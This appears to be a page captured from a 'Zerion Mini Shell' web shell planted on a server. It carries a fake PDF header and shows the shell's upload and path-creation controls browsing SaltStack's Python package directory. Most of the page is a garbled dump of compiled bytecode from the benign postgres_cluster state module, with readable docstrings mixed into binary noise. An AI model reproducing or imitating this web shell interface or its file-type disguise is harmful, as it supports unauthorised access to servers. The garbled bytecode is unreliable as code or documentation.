%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/states/postgres_cluster.pyo

�
���^c@@sMdZddlmZmZmZd�Zddddd�Zd�ZdS(uG
Management of PostgreSQL clusters
=================================

The postgres_cluster state module is used to manage PostgreSQL clusters.
Clusters can be set as either absent or present

.. code-block:: yaml

    create cluster 9.3 main:
      postgres_cluster.present:
          - name: 'main'
          - version: '9.3'
i(tabsolute_importtunicode_literalstprint_functioncC@sdtkrtdfStS(u9
    Only load if the deb_postgres module is present
    upostgres.cluster_existsuFUnable to load postgres module.  Make sure `postgres.bins_dir` is set.(t__salt__tFalsetTrue(((s@/usr/lib/python2.7/site-packages/salt/states/postgres_cluster.pyt__virtual__s
c
C@s�dj||�}i|d6id6td6|d6}td||�r�tddt�}|d	j||�}	t|r�||	d
knt|r�||	dkntf�r�dj||�|d<t|d<n|Stjd
�rd|d<d}|j||�|d<|Stdd|d|d|d|d|d|�}
|
r~d}|j||�|d<d|dd	j||�<n&d}|j||�|d<t|d<|S(u�
    Ensure that the named cluster is present with the specified properties.
    For more information about all of these options see man pg_createcluster(1)

    version
        Version of the postgresql cluster

    name
        The name of the cluster

    port
        Cluster port

    encoding
        The character encoding scheme to be used in this database

    locale
        Locale with which to create cluster

    datadir
        Where the cluster is stored

        .. versionadded:: 2015.XX
    u"Cluster {0}/{1} is already presentunameuchangesuresultucommentupostgres.cluster_existsupostgres.cluster_listtverboseu{0}/{1}uportudatadiruFCluster {0}/{1} has wrong parameters which couldn't be changed on fly.utestu$Cluster {0}/{1} is set to be createdupostgres.cluster_createtversiontnametporttlocaletencodingtdatadiru$The cluster {0}/{1} has been createduPresentu Failed to create cluster {0}/{1}N(tformatRRtanyRt__opts__tgettNone(RR	R
RRR
tmsgtrettinfostinfotcluster((s@/usr/lib/python2.7/site-packages/salt/states/postgres_cluster.pytpresentsD

"


	
cC@s�i|d6id6td6dd6}td||�r�tjd�rnd
|d<d}|j||�|d<|Std	||t�r�d
}|j||�|d<d|d|<|Sndj||�|d<|S(u�
    Ensure that the named cluster is absent

    version
        Version of the postgresql server of the cluster to remove

    name
        The name of the cluster to remove

        .. versionadded:: 2015.XX
    unameuchangesuresultuucommentupostgres.cluster_existsutestu$Cluster {0}/{1} is set to be removedupostgres.cluster_removeu Cluster {0}/{1} has been removeduAbsentu7Cluster {0}/{1} is not present, so it cannot be removedN(RRRRRR(RR	RR((s@/usr/lib/python2.7/site-packages/salt/states/postgres_cluster.pytabsentes$


N(	t__doc__t
__future__RRRRRRR(((s@/usr/lib/python2.7/site-packages/salt/states/postgres_cluster.pyt<module>s	D

Zerion Mini Shell 1.0